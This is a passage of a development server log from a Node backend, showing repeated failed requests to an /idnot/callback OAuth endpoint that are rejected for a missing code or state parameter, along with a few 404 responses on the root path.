ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, + statusCode: 400 + }, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' + }, + requestId: 'req_1758634523560_2jnhb0ryo' +} +❌ [ERROR] 2025-09-23T13:35:23.562Z HTTP GET /idnot/callback - 400 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 2, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' + }, + requestId: 'req_1758634523560_2jnhb0ryo', + response: { + statusCode: 400 + } +} +❌ [ERROR] 2025-09-23T13:41:35.833Z HTTP GET / - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:143.244.152.105', + method: 'GET', + url: '/', + userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0' + }, + requestId: 'req_1758634895832_fhg57by04', + response: { + statusCode: 404 + } +} +[IdNotCallback] incoming request { + originalUrl: '/idnot/callback', + method: 'GET', + query: { + code_present: false, + code_length: undefined, + state_present: false, + state_length: undefined + }, + headers: { + host: 'dev3.4nkweb.com', + 'x-forwarded-for': '4.227.36.107', + 'x-forwarded-proto': 'https' + } +} +❌ [ERROR] 2025-09-23T13:41:38.053Z Application error occurred +──────────────────────────────────────────────────────────────────────────────── +{ + error: { + code: 'VALIDATION_ERROR', + details: [ + { + constraints: [ + 'required' + ], + field: 'code', + value: undefined + }, + { + constraints: [ + 'required' + ], + field: 'state', + value: undefined + } + ], + message: 'Missing code or state', + stack: 'Error: Missing code or state\n' + + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, + statusCode: 400 + }, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' + }, + requestId: 'req_1758634898052_kd2l0jzz5' +} +❌ [ERROR] 2025-09-23T13:41:38.053Z HTTP GET /idnot/callback - 400 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' + }, + requestId: 'req_1758634898052_kd2l0jzz5', + response: { + statusCode: 400 + } +} +[IdNotCallback] incoming request { + originalUrl: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu2yRrPuu0FUtyW9O9YWYyO7-GN_8R_rje0vYTYAB8lxLGcEy3JGb_LU9p3CZCEFi9RBysoajZ6ADQiZHIHHhn8OkaIfXBIi__DtM4fpTkg38gZ2hnmq-RAk3ogDKelOBzEeBJnDmqQ_2694PeapAzmvcMDAPYsWXGREa4QHTENWepR33MeAFHTLIDf7kjJkAbDjncPNTUa792StbgBvL04pzmoyh0WcsaoPirWkAHw5HZ-z8hpmEo4wE8oyBHC0w1G70-zJBq2rBkMJYRfT0ei12nolqNb9KYOQWU1Ltw1crJ_R96XZoHeQh_zD_zPb-ghaya096s0QRA2wE1T8KqtxQOxFbNaFUwZ7qJ2Uqk_62x63NixnQAGhKzXkqMTpwYSlJu5BcfzUyaudOUMQ2M2qYhRXVEzk5q0rIXh3kqHXta_Zg7HnxIZDdfv7fiUPdKyo-RxYfFgkuZK9o9e5ofuKIWtcc24UxzOiP_YLfZOgSAf_nF2RM8uEpQbGB0wFUIZI-Qg4gCLtpZyv_SWEpJ49jS5Yvkyr0UiiuPmcThQDtxBvjDpONkYI07SRbIiektY', + method: 'GET', + query: { + code_present: true, + code_length: 619, + state_present: false, + state_length: undefined + }, + headers: { + host: 'dev3.4nkweb.com', + 'x-forwarded-for': '37.171.119.253', + 'x-forwarded-proto': 'https' + } +} +❌ [ERROR] 2025-09-23T13:44:44.173Z Application error occurred +──────────────────────────────────────────────────────────────────────────────── +{ + error: { + code: 'VALIDATION_ERROR', + details: [ + { + constraints: [ + 'required' + ], + field: 'code', + value: 'eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu2yRrPuu0FUtyW9O9YWYyO7-GN_8R_rje0vYTYAB8lxLGcEy3JGb_LU9p3CZCEFi9RBysoajZ6ADQiZHIHHhn8OkaIfXBIi__DtM4fpTkg38gZ2hnmq-RAk3ogDKelOBzEeBJnDmqQ_2694PeapAzmvcMDAPYsW'... 419 more characters + }, + { + constraints: [ + 'required' + ], + field: 'state', + value: undefined + } + ], + message: 'Missing code or state', + stack: 'Error: Missing code or state\n' + + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, + statusCode: 400 + }, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu2yRrPuu0FUtyW9O9YWYyO7-GN_8R_rje0vYTYAB8lxLGcEy3JGb_LU9p3CZCEFi9RBysoajZ6ADQiZHIHHhn8OkaIfXBIi__DtM4fpTkg38gZ2hnmq-RAk3ogDKelOBzEeBJnDmqQ'... 440 more characters, + userAgent: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Mobile Safari/537.36' + }, + requestId: 'req_1758635084172_frmrfos92' +} +❌ [ERROR] 2025-09-23T13:44:44.174Z HTTP GET /idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu2yRrPuu0FUtyW9O9YWYyO7-GN_8R_rje0vYTYAB8lxLGcEy3JGb_LU9p3CZCEFi9RBysoajZ6ADQiZHIHHhn8OkaIfXBIi__DtM4fpTkg38gZ2hnmq-RAk3ogDKelOBzEeBJnDmqQ_2694PeapAzmvcMDAPYsWXGREa4QHTENWepR33MeAFHTLIDf7kjJkAbDjncPNTUa792StbgBvL04pzmoyh0WcsaoPirWkAHw5HZ-z8hpmEo4wE8oyBHC0w1G70-zJBq2rBkMJYRfT0ei12nolqNb9KYOQWU1Ltw1crJ_R96XZoHeQh_zD_zPb-ghaya096s0QRA2wE1T8KqtxQOxFbNaFUwZ7qJ2Uqk_62x63NixnQAGhKzXkqMTpwYSlJu5BcfzUyaudOUMQ2M2qYhRXVEzk5q0rIXh3kqHXta_Zg7HnxIZDdfv7fiUPdKyo-RxYfFgkuZK9o9e5ofuKIWtcc24UxzOiP_YLfZOgSAf_nF2RM8uEpQbGB0wFUIZI-Qg4gCLtpZyv_SWEpJ49jS5Yvkyr0UiiuPmcThQDtxBvjDpONkYI07SRbIiektY - 400 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 2, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu2yRrPuu0FUtyW9O9YWYyO7-GN_8R_rje0vYTYAB8lxLGcEy3JGb_LU9p3CZCEFi9RBysoajZ6ADQiZHIHHhn8OkaIfXBIi__DtM4fpTkg38gZ2hnmq-RAk3ogDKelOBzEeBJnDmqQ'... 440 more characters, + userAgent: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Mobile Safari/537.36' + }, + requestId: 'req_1758635084172_frmrfos92', + response: { + statusCode: 400 + } +} +[IdNotCallback] incoming request { + originalUrl: '/idnot/callback', + method: 'GET', + query: { + code_present: false, + code_length: undefined, + state_present: false, + state_length: undefined + }, + headers: { + host: 'dev3.4nkweb.com', + 'x-forwarded-for': '4.227.36.107', + 'x-forwarded-proto': 'https' + } +} +❌ [ERROR] 2025-09-23T13:47:52.749Z Application error occurred +──────────────────────────────────────────────────────────────────────────────── +{ + error: { + code: 'VALIDATION_ERROR', + details: [ + { + constraints: [ + 'required' + ], + field: 'code', + value: undefined + }, + { + constraints: [ + 'required' + ], + field: 'state', + value: undefined + } + ], + message: 'Missing code or state', + stack: 'Error: Missing code or state\n' + + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, + statusCode: 400 + }, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' + }, + requestId: 'req_1758635272748_xj5b4sleo' +} +❌ [ERROR] 2025-09-23T13:47:52.749Z HTTP GET /idnot/callback - 400 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' + }, + requestId: 'req_1758635272748_xj5b4sleo', + response: { + statusCode: 400 + } +} +[IdNotCallback] incoming request { + originalUrl: '/idnot/callback', + method: 'GET', + query: { + code_present: false, + code_length: undefined, + state_present: false, + state_length: undefined + }, + headers: { + host: 'dev3.4nkweb.com', + 'x-forwarded-for': '4.227.36.107', + 'x-forwarded-proto': 'https' + } +} +❌ [ERROR] 2025-09-23T13:54:12.044Z Application error occurred +──────────────────────────────────────────────────────────────────────────────── +{ + error: { + code: 'VALIDATION_ERROR', + details: [ + { + constraints: [ + 'required' + ], + field: 'code', + value: undefined + }, + { + constraints: [ + 'required' + ], + field: 'state', + value: undefined + } + ], + message: 'Missing code or state', + stack: 'Error: Missing code or state\n' + + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, + statusCode: 400 + }, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' + }, + requestId: 'req_1758635652043_rr4mxccqn' +} +❌ [ERROR] 2025-09-23T13:54:12.045Z HTTP GET /idnot/callback - 400 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 2, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' + }, + requestId: 'req_1758635652043_rr4mxccqn', + response: { + statusCode: 400 + } +} +[IdNotCallback] incoming request { + originalUrl: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu2yRrPuu0FUtyW9O9YWYyO7-GN_8R_rje0vYTYAB8lxLDgSjVzy8jV7GH1FWwd0E45XHby6SmrsVWJbljsYg9MTWIDKWxokVR5qW3mBpL6ed-LhhSVAraYjGTH017dp1pa7BhlB3lORqlVna6dYVKoqE3yg6KWwJ5THF88bttsfweCb_r1JO1M04cbkThTDMVzsoBynRepUhG_uPotCHABXZPRsX0cl59JpXGwcQ-7aG6R1bd4CbQ7sJGAvCbSqrc-3IvEagpwOMd8FdwEpZetpj6e7jgKgduaTdEAYlavXE3x_aEKcnaGsUhFDRNyTIu_gLy7HXPjyy5pXfTY7wlvVlXzqaN4MGfLVYCuwZY8PUIdYUmA203Qyb-FF9orfQ7JsY6iW2fsbUlnhWNhdSP2SCvHGrXSpWwdN4xw1G2cDR8SlOliKHR6j4tJC_mCNjtAFp1Y9wytDyPDtuurG503mHXSw9SLa8XSwVe9iLpjTR2HaI3bFe-DKU_SF_eZrICOhw49wjXS08hAlx7DDrz6H3C2Rbw6yo2jbxz97YCj0s0TMzvnmfiMh2-dPA3uM9sA', + method: 'GET', + query: { + code_present: true, + code_length: 619, + state_present: false, + state_length: undefined + }, + headers: { + host: 'dev3.4nkweb.com', + 'x-forwarded-for': '37.171.119.253', + 'x-forwarded-proto': 'https' + } +} +❌ [ERROR] 2025-09-23T13:54:50.069Z Application error occurred +──────────────────────────────────────────────────────────────────────────────── +{ + error: { + code: 'VALIDATION_ERROR', + details: [ + { + constraints: [ + 'required' + ], + field: 'code', + value: 'eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu2yRrPuu0FUtyW9O9YWYyO7-GN_8R_rje0vYTYAB8lxLDgSjVzy8jV7GH1FWwd0E45XHby6SmrsVWJbljsYg9MTWIDKWxokVR5qW3mBpL6ed-LhhSVAraYjGTH017dp1pa7BhlB3lORqlVna6dYVKoqE3yg6KWw'... 419 more characters + }, + { + constraints: [ + 'required' + ], + field: 'state', + value: undefined + } + ], + message: 'Missing code or state', + stack: 'Error: Missing code or state\n' + + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, + statusCode: 400 + }, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu2yRrPuu0FUtyW9O9YWYyO7-GN_8R_rje0vYTYAB8lxLDgSjVzy8jV7GH1FWwd0E45XHby6SmrsVWJbljsYg9MTWIDKWxokVR5qW3mBpL6ed-LhhSVAraYjGTH017dp1pa7BhlB3lO'... 440 more characters, + userAgent: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Mobile Safari/537.36' + }, + requestId: 'req_1758635690068_aq7l7s1e7' +} +❌ [ERROR] 2025-09-23T13:54:50.070Z HTTP GET /idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu2yRrPuu0FUtyW9O9YWYyO7-GN_8R_rje0vYTYAB8lxLDgSjVzy8jV7GH1FWwd0E45XHby6SmrsVWJbljsYg9MTWIDKWxokVR5qW3mBpL6ed-LhhSVAraYjGTH017dp1pa7BhlB3lORqlVna6dYVKoqE3yg6KWwJ5THF88bttsfweCb_r1JO1M04cbkThTDMVzsoBynRepUhG_uPotCHABXZPRsX0cl59JpXGwcQ-7aG6R1bd4CbQ7sJGAvCbSqrc-3IvEagpwOMd8FdwEpZetpj6e7jgKgduaTdEAYlavXE3x_aEKcnaGsUhFDRNyTIu_gLy7HXPjyy5pXfTY7wlvVlXzqaN4MGfLVYCuwZY8PUIdYUmA203Qyb-FF9orfQ7JsY6iW2fsbUlnhWNhdSP2SCvHGrXSpWwdN4xw1G2cDR8SlOliKHR6j4tJC_mCNjtAFp1Y9wytDyPDtuurG503mHXSw9SLa8XSwVe9iLpjTR2HaI3bFe-DKU_SF_eZrICOhw49wjXS08hAlx7DDrz6H3C2Rbw6yo2jbxz97YCj0s0TMzvnmfiMh2-dPA3uM9sA - 400 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu2yRrPuu0FUtyW9O9YWYyO7-GN_8R_rje0vYTYAB8lxLDgSjVzy8jV7GH1FWwd0E45XHby6SmrsVWJbljsYg9MTWIDKWxokVR5qW3mBpL6ed-LhhSVAraYjGTH017dp1pa7BhlB3lO'... 440 more characters, + userAgent: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Mobile Safari/537.36' + }, + requestId: 'req_1758635690068_aq7l7s1e7', + response: { + statusCode: 400 + } +} +[IdNotCallback] incoming request { + originalUrl: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu2yRrPuu0FUtyW9O9YWYyO7-GN_8R_rje0vYTYAB8lxLHchS8o7IG1CFOVwjENdeJTp_keGWBxIe_Wi0d0-YGHqQgu308n7YLbajfNrXj6gqC1iPckxdWsQJ_zrDKhYUnnP37NnAS7P1zUCr5r--wgeUUSMq06sWGS6CfdCinypQZoMBVAObs-WmoQkC-2arlnC-mucTgyXIdGexDvIe3-n5s85alRTH_4YWjiPRJCQrvfJsq8rC9JuXY66ZXdm69byom8eoC8ibCzgoZ0GcXRDss-ryzd9ST2iqSdlzs2cpsCprB_TM9gO5K7XgYAf19E4joP1NoqtSWh6Cs7eDwY4mtqJkX10brOQt5IDD-uk8WOOBQZCJnxPemy6SzRabfDOsoWxr2l7vRpJOEHXfgGrkIWbBo_bLl30Ljm9lIUY5x58pJKzRZouAdnn2umlpn4SiIB2iZx1akoWS8LjzyTyUckLWw9AgZ_9PqiRNCsj7oPHABgv66fwhN2drYmA23e-X4yqKfDQiRknwfA-G8KD4F3opf3aco5fYx1aL7r42e2pdJyArfO_QZaHt9vwtms', + method: 'GET', + query: { + code_present: true, + code_length: 619, + state_present: false, + state_length: undefined + }, + headers: { + host: 'dev3.4nkweb.com', + 'x-forwarded-for': '37.171.119.253', + 'x-forwarded-proto': 'https' + } +} +❌ [ERROR] 2025-09-23T13:55:19.141Z Application error occurred +──────────────────────────────────────────────────────────────────────────────── +{ + error: { + code: 'VALIDATION_ERROR', + details: [ + { + constraints: [ + 'required' + ], + field: 'code', + value: 'eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu2yRrPuu0FUtyW9O9YWYyO7-GN_8R_rje0vYTYAB8lxLHchS8o7IG1CFOVwjENdeJTp_keGWBxIe_Wi0d0-YGHqQgu308n7YLbajfNrXj6gqC1iPckxdWsQJ_zrDKhYUnnP37NnAS7P1zUCr5r--wgeUUSMq06s'... 419 more characters + }, + { + constraints: [ + 'required' + ], + field: 'state', + value: undefined + } + ], + message: 'Missing code or state', + stack: 'Error: Missing code or state\n' + + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, + statusCode: 400 + }, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu2yRrPuu0FUtyW9O9YWYyO7-GN_8R_rje0vYTYAB8lxLHchS8o7IG1CFOVwjENdeJTp_keGWBxIe_Wi0d0-YGHqQgu308n7YLbajfNrXj6gqC1iPckxdWsQJ_zrDKhYUnnP37NnAS7'... 440 more characters, + userAgent: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Mobile Safari/537.36' + }, + requestId: 'req_1758635719140_z8pde4448' +} +❌ [ERROR] 2025-09-23T13:55:19.141Z HTTP GET /idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu2yRrPuu0FUtyW9O9YWYyO7-GN_8R_rje0vYTYAB8lxLHchS8o7IG1CFOVwjENdeJTp_keGWBxIe_Wi0d0-YGHqQgu308n7YLbajfNrXj6gqC1iPckxdWsQJ_zrDKhYUnnP37NnAS7P1zUCr5r--wgeUUSMq06sWGS6CfdCinypQZoMBVAObs-WmoQkC-2arlnC-mucTgyXIdGexDvIe3-n5s85alRTH_4YWjiPRJCQrvfJsq8rC9JuXY66ZXdm69byom8eoC8ibCzgoZ0GcXRDss-ryzd9ST2iqSdlzs2cpsCprB_TM9gO5K7XgYAf19E4joP1NoqtSWh6Cs7eDwY4mtqJkX10brOQt5IDD-uk8WOOBQZCJnxPemy6SzRabfDOsoWxr2l7vRpJOEHXfgGrkIWbBo_bLl30Ljm9lIUY5x58pJKzRZouAdnn2umlpn4SiIB2iZx1akoWS8LjzyTyUckLWw9AgZ_9PqiRNCsj7oPHABgv66fwhN2drYmA23e-X4yqKfDQiRknwfA-G8KD4F3opf3aco5fYx1aL7r42e2pdJyArfO_QZaHt9vwtms - 400 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu2yRrPuu0FUtyW9O9YWYyO7-GN_8R_rje0vYTYAB8lxLHchS8o7IG1CFOVwjENdeJTp_keGWBxIe_Wi0d0-YGHqQgu308n7YLbajfNrXj6gqC1iPckxdWsQJ_zrDKhYUnnP37NnAS7'... 440 more characters, + userAgent: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Mobile Safari/537.36' + }, + requestId: 'req_1758635719140_z8pde4448', + response: { + statusCode: 400 + } +} +[IdNotCallback] incoming request { + originalUrl: '/idnot/callback', + method: 'GET', + query: { + code_present: false, + code_length: undefined, + state_present: false, + state_length: undefined + }, + headers: { + host: 'dev3.4nkweb.com', + 'x-forwarded-for': '4.227.36.107', + 'x-forwarded-proto': 'https' + } +} +❌ [ERROR] 2025-09-23T14:00:35.529Z Application error occurred +──────────────────────────────────────────────────────────────────────────────── +{ + error: { + code: 'VALIDATION_ERROR', + details: [ + { + constraints: [ + 'required' + ], + field: 'code', + value: undefined + }, + { + constraints: [ + 'required' + ], + field: 'state', + value: undefined + } + ], + message: 'Missing code or state', + stack: 'Error: Missing code or state\n' + + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, + statusCode: 400 + }, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' + }, + requestId: 'req_1758636035528_wo1y58q87' +} +❌ [ERROR] 2025-09-23T14:00:35.529Z HTTP GET /idnot/callback - 400 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' + }, + requestId: 'req_1758636035528_wo1y58q87', + response: { + statusCode: 400 + } +} +❌ [ERROR] 2025-09-23T14:02:23.630Z HTTP GET / - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:5.200.72.26', + method: 'GET', + url: '/', + userAgent: 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36' + }, + requestId: 'req_1758636143629_afhx58b8e', + response: { + statusCode: 404 + } +} +[IdNotCallback] incoming request { + originalUrl: '/idnot/callback', + method: 'GET', + query: { + code_present: false, + code_length: undefined, + state_present: false, + state_length: undefined + }, + headers: { + host: 'dev3.4nkweb.com', + 'x-forwarded-for': '4.227.36.107', + 'x-forwarded-proto': 'https' + } +} +❌ [ERROR] 2025-09-23T14:07:00.348Z Application error occurred +──────────────────────────────────────────────────────────────────────────────── +{ + error: { + code: 'VALIDATION_ERROR', + details: [ + { + constraints: [ + 'required' + ], + field: 'code', + value: undefined + }, + { + constraints: [ + 'required' + ], + field: 'state', + value: undefined + } + ], + message: 'Missing code or state', + stack: 'Error: Missing code or state\n' + + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, + statusCode: 400 + }, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' + }, + requestId: 'req_1758636420347_rnwpttt5v' +} +❌ [ERROR] 2025-09-23T14:07:00.349Z HTTP GET /idnot/callback - 400 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 2, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' + }, + requestId: 'req_1758636420347_rnwpttt5v', + response: { + statusCode: 400 + } +} +[IdNotCallback] incoming request { + originalUrl: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER879r-IVOVR92hjXF63MA-TuuxQOO9WQgQ9gRrauQlJTrYIvnnjtoTd3hUjXiaK4wvlRyNNqYSkQXjdF2k4fanB9H4k8ioeQ3i6WcfPYiAoS4bP_DGhDOX4ed_Oso7XTk8RjymKAHVf-mR-of2n-WWQW0jAJFMlaJSFvSgm0KGZvsJcJX_oVQEiZ38dpiEJyVPiGV7WYzOH9Y35gzIl3CcFhAaIz9bqkpHLmZvNKQD_Q5NyaVa-WBoijrIltXfssA016g4qi6q4owykra7hOhH5URlk8_wfpR-jwe80NKZ55vPB0vhso-PWZ07aqc1oHVNpnN2dJGZSQJLm8nTTgEcDlFA7PewIXIg6eWHwUkZmJVLeU6hpAnlfgtUARoCczFcpktRLGzfY2XW-NHec1aIL0VC-7I0giWZtxY', + method: 'GET', + query: { + code_present: true, + code_length: 619, + state_present: false, + state_length: undefined + }, + headers: { + host: 'dev3.4nkweb.com', + 'x-forwarded-for': '37.171.119.253', + 'x-forwarded-proto': 'https' + } +} +❌ [ERROR] 2025-09-23T14:10:44.117Z Application error occurred +──────────────────────────────────────────────────────────────────────────────── +{ + error: { + code: 'VALIDATION_ERROR', + details: [ + { + constraints: [ + 'required' + ], + field: 'code', + value: 'eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER8'... 419 more characters + }, + { + constraints: [ + 'required' + ], + field: 'state', + value: undefined + } + ], + message: 'Missing code or state', + stack: 'Error: Missing code or state\n' + + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, + statusCode: 400 + }, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd'... 440 more characters, + userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' + }, + requestId: 'req_1758636644116_l48ww7oz4' +} +❌ [ERROR] 2025-09-23T14:10:44.118Z HTTP GET /idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER879r-IVOVR92hjXF63MA-TuuxQOO9WQgQ9gRrauQlJTrYIvnnjtoTd3hUjXiaK4wvlRyNNqYSkQXjdF2k4fanB9H4k8ioeQ3i6WcfPYiAoS4bP_DGhDOX4ed_Oso7XTk8RjymKAHVf-mR-of2n-WWQW0jAJFMlaJSFvSgm0KGZvsJcJX_oVQEiZ38dpiEJyVPiGV7WYzOH9Y35gzIl3CcFhAaIz9bqkpHLmZvNKQD_Q5NyaVa-WBoijrIltXfssA016g4qi6q4owykra7hOhH5URlk8_wfpR-jwe80NKZ55vPB0vhso-PWZ07aqc1oHVNpnN2dJGZSQJLm8nTTgEcDlFA7PewIXIg6eWHwUkZmJVLeU6hpAnlfgtUARoCczFcpktRLGzfY2XW-NHec1aIL0VC-7I0giWZtxY - 400 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 2, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: 